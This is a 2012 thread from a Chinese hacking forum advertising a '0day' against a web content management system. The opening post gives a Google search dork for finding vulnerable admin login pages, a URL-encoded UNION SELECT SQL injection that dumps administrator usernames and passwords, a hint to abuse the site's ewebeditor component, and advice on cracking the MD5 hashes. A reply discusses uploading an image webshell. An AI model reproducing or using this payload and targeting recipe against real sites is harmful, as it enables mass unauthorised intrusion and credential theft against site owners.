查看: 12185|回复: 6

一枚0day

[复制链接]
  • TA的每日心情
    奋斗
    2020-3-20 11:50
  • 签到天数: 12 天

    [LV.3]偶尔看看II

    发表于 2012-7-31 08:00:32 | 显示全部楼层 |阅读模式
    google关键词
    inurl:szwyadmin/login.asp
    打开网页  直接开主页,
    点开新闻管理    点开一个ID连接
    %20and%201=2%20union%20select%201,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20admin
    这个语句直接爆账号密码

    其中网站根目录下有ewebeditor编辑器,
    怎么利用你懂的!
    大部分爆出的秘密是MD5  32位的建议下载我在论坛放的MD5  密码表
    回复

    使用道具 举报

    该用户从未签到

    发表于 2012-7-31 11:20:59 | 显示全部楼层
    大侠,为什么上传图片马之后,路径UPLOAD/2012073110354873499.jpg 找不到了?菜鸟学习,帖子很好,谢谢。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2020-3-20 11:50
  • 签到天数: 12 天

    [LV.3]偶尔看看II

     楼主| 发表于 2012-7-31 22:08:08 | 显示全部楼层
    dragondoudou 发表于 2012-7-31 11:20
    大侠,为什么上传图片马之后,路径UPLOAD/2012073110354873499.jpg 找不到了?菜鸟学习,帖子很好,谢谢。 ...

    没有备份?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-9-24 16:00
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2012-8-1 00:57:01 | 显示全部楼层
    {:soso_e179:}   试用下   看管用不。
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2012-8-4 00:00:49 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    天涯 该用户已被删除
    发表于 2012-8-4 00:15:33 来自手机 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2023-4-26 23:35
  • 签到天数: 237 天

    [LV.7]常住居民III

    发表于 2013-10-21 20:45:45 | 显示全部楼层
    支持下   
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 10:12 , Processed in 0.027028 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部